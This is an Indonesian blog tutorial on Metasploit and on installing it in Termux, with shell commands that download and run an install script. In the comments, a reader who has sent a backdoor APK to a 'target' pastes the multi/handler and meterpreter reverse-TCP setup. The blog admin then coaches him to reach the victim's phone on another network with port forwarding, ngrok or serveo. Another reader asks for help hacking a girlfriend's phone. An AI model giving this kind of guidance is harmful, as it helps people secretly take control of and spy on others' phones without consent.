Kamis, 17 Juni 2021

Ulasan Lengkap Metasploit Dan Cara Install Metasploit Di Termux Terbaru 2021 100% Berhasil Tanpa Eror


Cara Install Metasploit di Termux 2021

Sejarah Singkat Metasploit

Awalnya metasploit merupakan sebuah rancangan proyek untuk digunakan sebagai alat jaringan portable yang dibuat menggunakan bahasa pemrograman Perl, yang dirancang oleh M. D. Moor pada tahun 2003.

Kemudian pada tahun 2007 metasploit di tulis ulang sepenuhnya menggunakan bahasa Ruby.

Pada 21 Oktober 2009 metasploit di akuisisi oleh sebuah perusahaan keamanan yang menyediakan solusi kerentanan dan manajemen terpadu, perusahaan tersebut bernama Rapid7.


Pengertian Metasploit Dan Fungsi Metasploit 

Metasploit adalah sebuah proyek yang keamanan komputer yang dapat menyediakan informasi tentang kerentanan dan keamanan pada suatu sistem serta membantu pengujian penetrasi dan pengembangan signature IDS.

Metasploit merupakan sebuah tools yang bisa dibilang multi platform yang bisa digunakan di berbagai sistem operasi, bahkan kamu juga bisa menginstall dan menggunakan metasploit di termux android.

Metasploit banyak digunakan oleh pengembang untuk mencari bug atau kesalahan pada suatu sistem yang mereka kembangkan dengan mengkonfigura.sikan  modul exploit dari metasploit.

Bug yang ditemukan pada sistem biasanya akan diperbaiki agar sistem yang mereka kembangkan menjadi lebih aman dari penyusup.

Metasploit juga bisa dikatakan sebagai platform pengembangan yang digunakan oleh para pengembang untuk membuat tools security dan metasploit lah yang akan di gunakan untuk menguji keamanan dari tools security tersebut.


Jenis Jenis Metasploit

Berdasarkan dari lisensinya metasploit memiliki 4 jenis yaitu :


1. Metasploit Framework


2. Metasploit Express


3. Metasploit Community


4. Metasploit Pro


Di keempat jenis metasploit tersebut yang biasa diinstall di termux adalah metasploit framework.


Baca Juga :

• Cara Mengatasi Permission Denied Di Termux Android

• Cara Bermain Game Di Aplikasi Termux Android

• Cara Melihat Spesifikasi Lengkap Android Beserta CPU di Aplikasi Termux


Kegunaan Metasploit Dan Cara Kerja Metasploit

Beberapa kegunaan metasploit termux antara lain adalah :

1. Memilih dan mengkonfigurasikan modul exploit agar bisa menemukan sebuah bug atau celah pada sistem yang nantinya bug tersebut akan di perbaiki lagi.


2. Menguji dan memeriksa untuk mengetahui kerentanan pada sistem dengan beberapa metode eksploit yang di gunakan.


3. Metasploit biasa digunakan untuk melakukan uji coba pada sistem dan mengembangkan eksploitasi yang baru.


4. Metasploit Menggunakan sebuah payload yang digunakan ketika sistem sudah berhasil di exploit kemudian metasploit bisa menerima dan mengeksekusi perintah menggunakan payload tersebut.


5. Metasploit memiliki metode yang bernama  encoding yang fungsinya agar intrsion prevention system (IPS) mengabaikan muatan data yang di encoding.


6. Metasploit bisa juga digunakan sebagai alat untuk me-remot perangkat lain secara jarak jauh.


7. Dapat menangani masalah tertentu yang lebih spesifik serta peluncuran eksploitasi dan modul tambahan.


8. Melakukan tespenetrasi pada keamanan suatu jaringan.


Itulah 8 kegunaan serta cara kerja metasploit.


Hal Yang Perlu Disiapkan Sebelum Menginstall Metasploit Di Termux

Sebelum menginstall metasploit di termux ada beberapa hal yang harus kamu siapkan terlebih dahulu agar proses penginstallan bisa berjalan dengan lancar dan berhasil.

berikut ini beberapa hal yang harus kamu persiapkan sebelum menginstall metasploit di termux agar tidak terjadi eror dan gagal.


Hal yang harus disiapkan sebelum install metasploit di termux  :


1. Jika kamu pernah menginstall metasploit lalu gagal, sebaiknya kamu hapus terlebih dahulu package metasploit yang gagal tersebut sebelum kamu menginstallnya lagi.

Perintah untuk menghapusnya seperti di bawah ini :

 $ pkg uninstall metasploit 


2. Pastikan kamu memiliki kuota internet kurang lebih 1GB karena metasploit memiliki ukuran lebih besar dibanding dengan tools lainnya di termux.


3. Pastikan ruang penyimpanan yang tersedia di smartphone kamu lebih dari 1GB.


4. Proses penginstallan metasploit membutuhkan waktu kurang lebih 30 menit. Jadi, pastikan smartphone kamu tidak akan kehabisan daya saat proses penginstallan metasploit.


5. Pastikan kecepatan jaringan yang kamu gunakan stabil.


Itulah 5 hal yang perlu kamu persiapkan sebelum menginstall metasploit di termux.


Cara Install Metasploit Di Termux Terbaru 2021

Cara menginstall metasploit sangat mudah karena termux sudah menyediakan package metasploit sendiri, kamu hanya tinggal menginstall metasploit dan semua package yang dibutuhkan oleh metasploit akan otomatis terinstall. Ada dua cara untuk menginstall metasploit di termux.

Cara Pertama

Berikut ini perintah untuk menginstall metasploit di termux :


 $ pkg install unstable-repo 


 $ pkg install metasploit 


Setelah itu proses penginstallan metasploit di termux akan berjalan, proses penginstallan mungkin memerlukan waktu yang agak lama tapi itu tergantung dari kecepatan internet yang kamu gunakan, biasanya paling cepat 10 menit dalam kondisi jaringan yang stabil.


Cara Menjalankan Metasploit Di Termux

Jika proses penginstallan metasploit sudah selesai sekarang kamu tinggal menjalankan metasploit dengan perintah dibawah ini :


 $ msfconsole 


Setelah itu tunggu sampai metasploitnya terbuka.


Cara Kedua :

 $ pkg update && pkg upgrade 

 $ pkg install wget 

 $ pkg install ruby 

 $ wget https://raw.githubusercontent.com/gushmazuko/metasploit_in_termux/master/metasploit.sh 

 $ chmod 777 metasploit.sh 

 $ ./metasploit.sh 

Tunggu sampai penginstallannya selesai. Jika sudah, kamu tinggal menjalankan metasploit nya dengan perintah :

 $ msfconsole 


Baca Juga :

• Pengertian Termux, Fungsi, Perintah Dasar Dan Cara Menggunakan Termux Untuk Pemula

• Cara Menghapus Teks Welcome Di Termux Dengan Mudah

• Cara Nonton Film Star Wars Di Aplikasi Termux


Update!!

Karena cara yang pertama sudah tidak work, kamu bisa coba untuk menggunakan cara yang kedua, siapa tau cara tersebut masih work, namun jika cara kedua juga tidak work kamu bisa menggunakan cara terbaru untuk install metasploit termux 2021 dibawah ini.

Sedikit penjelasan tentang cara yang pertama kenapa bisa tidak work, hal itu karena Termux sudah menghapus package metasploit bawaannya, saat kamu menjalankan perintah untuk menginstallnya maka akan muncul keterangan Unable to locate package metasploit termux, yang artinya termux tidak dapat mencari package metasploit tersebut.


Cara Install Metasploit di Termux 2021

• Buka aplikasi termux.


• Jalankan perintah perintah dibawah ini :

 $ pkg update && pkg upgrade 

 $ pkg install git wget curl 

 $ pkg install ruby 

 $ pkg install postgresql -y 

 $ wget https://raw.githubusercontent.com/gushmazuko/metasploit_in_termux/master/metasploit.sh 

 $ chmod +x metasploit.sh 


• Setelah proses penginstallan diatas selesai, sekarang kamu tinggal menginstall script metasploitnya dengan perintah :

 $ ./metasploit.sh 

Setelah itu tunggu sampai proses penginstallan selesai.


• Jika penginstallan sudah selesai, untuk langsung menjalankan metasploit gunakan perintah :

 $ msfconsole 


Itulah cara terbaru untuk menginstall metasploit di termux 2021. Sebenarnya cara ini hampir mirip dengan cara kedua seperti diatas namun ada beberapa package tambahan yang harus diinstall.

Agar tidak terjadi eror saat menginstall metasploit harap perhatikan besar kecil huruf dan karakter yang di ketikkan, salah satu contoh perintah yang pasti membuat kamu keliru dan sering salah adalah perintah $ chmod +x metasploit.sh, coba kamu perhatikan +x yang ada pada perintah tersebut, perlu di ketahui bahwa x tersebut bukanlah sebuah tanda kali × melainkan hanya huruf x saja.

Oke cukup sekian dari pembahasan kali ini. Selamat mencoba dan semoga berhasil, terimakasih.


35 komentar:

  1. Setiap saya install kok muncul
    "E: Unable to locate package metasploit"

    BalasHapus
    Balasan
    1. Sama tuh gw juga kayak gitu

      Hapus
    2. Mohon maaf gan untuk tutorial yang itu sering gagal karena package metasploitnya sedang ada perbaikan atau sudah di hapus. Coba sekarang agan jalankan lagi perintah $ pkg install metasploit nanti di situ bakalan ada keterangan lengkapnya. Untuk alternatifnya agan bisa gunakan cara install metasploit yang nomor 2 saja

      Hapus
    3. Sampai pusing bolak balik unsintall dan install lagi akhir dari sebuah cerita tdk ditemukanya:
      1. nokogri
      2. Gem
      3. msfconsole mlempem

      Mohon untuk penjelasan ΕΊ terimakasih

      Hapus
  2. Bang kok selalau di suruh "$gem install bundler"

    BalasHapus
    Balasan
    1. Coba gan install semua package di bawah ini trus abis itu jalanin lagi metasploitnya

      $ gem install bundle

      $ gem install bundler

      $ pip2 install bundler

      $ bundle install -j5

      $ gem update –system

      $ bundle update nokogiri

      Hapus
    2. Udah ku coba tetep gak bisa

      Hapus
  3. Bang cara install PKG metasploit yang error gimana nih? Solusinya ..

    BalasHapus
  4. Thanks Broo sukses metasploitnya :D

    Combain meta+Nmap mantappp:D

    BalasHapus
  5. install metasploit harus di root kah kak??

    BalasHapus
  6. Punya saya kok postgresql nya selected connection ya bang

    BalasHapus
    Balasan
    1. Termux-nya pakai distro bawaan (debian), atau sudah menggunakan kali linux gan?

      Hapus
    2. Masih pake distro bawaan gan.. terus pas selesai buat aplikasi backdoor nya ketika di install tidak support.. solusinya gan

      Hapus
    3. Biasanya kesalahan kaya gitu sering terjadi di kali linux.

      Coba agan jalanin perintah dibawah ini satu persatu:

      mkdir -p $PREFIX/var/lib/postgresql

      initdb $PREFIX/var/lib/postgresql

      pg_ctl -D $PREFIX/var/lib/postgresql start

      Kalo udah coba jalananin lagi metasploitnya

      Hapus
  7. Gan bantu saya hack hp pacar donk,saya Nol dunia IT πŸ₯ΊπŸ™

    BalasHapus
    Balasan
    1. Mohon maaf kami tidak bisa membantu belajar secara pribadi

      Hapus
  8. min ini saya udah buat payload (apk) terus aq kirim ke target. Setelah terkirim si target udah install terus buka apk nya.

    Masalahnya disini saya kok gk bisa mengontrol HP korban padahal udah jalanin

    BalasHapus
    Balasan
    1. Msfcolsole dan command lainnya

      Hapus
    2. Untuk mengontrol hp target harus menggunakan perintah-perintah gan

      Hapus
    3. msf6 > use exploit/multi/handler
      [*] Using configured payload generic/shell_reverse_tcp
      msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
      payload => android/meterpreter/reverse_tcp
      msf6 exploit(multi/handler) > set lhost 127.0.0.1
      lhost => 127.0.0.1
      msf6 exploit(multi/handler) > set lport 4444
      lport => 4444
      msf6 exploit(multi/handler) > exploit

      [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
      [*] Started reverse TCP handler on 127.0.0.1:4444



      Padahal itu udah di install dan di buka sama tergat kok masih

      [*] Started reverse TCP handler on 127.0.0.1:4444

      Itu kan aslinya kalau apknya udah di install dan di buka maka akan ad

      meterpreter>


      Nah itu kok gk muncul MinπŸ™

      Hapus
    4. Untuk sadap hp beda jaringan harus menggunakan port forwarding gan

      Hapus
    5. Kalo tidak begini saja, agan coba dulu pasang apk backdoor itu di hp abang sendiri. Jika tetap tidak muncul meterpreter> artinya ada kesalahan dari backdoornya. Tapi jika muncul meterpreter> artinya agan harus menggunakan port forwarding jika ingin memasang backdoor tersebut di hp lain atau di jaringan yang berbeda

      Hapus
    6. Kalau di install di HP ku bisa muncul min

      Hapus
    7. Thanks min πŸ™ semoga sukses selalu

      Hapus
    8. Kalo di hp agan sendiri bisa, artinya backdoor udah bener tapi agan harus pake port forwarding

      Hapus
  9. Min kok saya gk bisa ngontol HP korban ya padahal udah di install dan di buka sama target.

    Tpi saya kok gk bisa mengontrol HP korban (udah menjalankan command msfconsole)

    BalasHapus
    Balasan
    1. msfconsole itu cuma perintah untuk menjalankan tools metasploit gan, untuk membuat dan mengeksekusi backdoor perintahnya beda lagi

      Hapus
    2. Min kalau mau nyadap HP beda jaringan kan harus menggunakan port forwarding.

      Nah itu apakah kita juga perlu menjalankan ngrokok?

      Hapus
    3. Bisa pake ngrok, bisa juga pake serveo

      Hapus
  10. Bundler could not find compatible versions for gem "mini_portile2":
    In snapshot (Gemfile.lock):
    mini_portile2 (= 2.8.0)

    In Gemfile:
    metasploit-framework was resolved to 6.1.33, which depends on
    nokogiri was resolved to 1.8.0, which depends on
    mini_portile2 (~> 2.2.0)

    Running `bundle update` will rebuild your snapshot from scratch, using
    only
    the gems in your Gemfile, which may resolve the conflict.


    Knp min

    BalasHapus
  11. ~Bang ko gw muncuk ke gini kenaoa ya

    Bundler 2.3.12 is running, but your lockfile was generated with 2.1.4. Installing Bundler 2.1.4 and restarting using that version.
    Fetching gem metadata from https://rubygems.org/.
    Fetching bundler 2.1.4
    Installing bundler 2.1.4
    Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
    You have one or more invalid gemspecs that need to be fixed.
    The gemspec at
    /data/data/com.termux/files/home/metasploit-framework/metasploit-framework.gemspec
    is not valid. Please fix this gemspec.
    The validation error was 'duplicate dependency on net-smtp (>= 0), (>=
    0) use:
    add_runtime_dependency 'net-smtp', '>= 0', '>= 0'
    '
    open("/data/data/com.termux/files/usr/lib/ruby/gems/*/gems/pg-*/lib/pg_ext.so"): No such file or directory

    ~Ini kenapa ya bang

    BalasHapus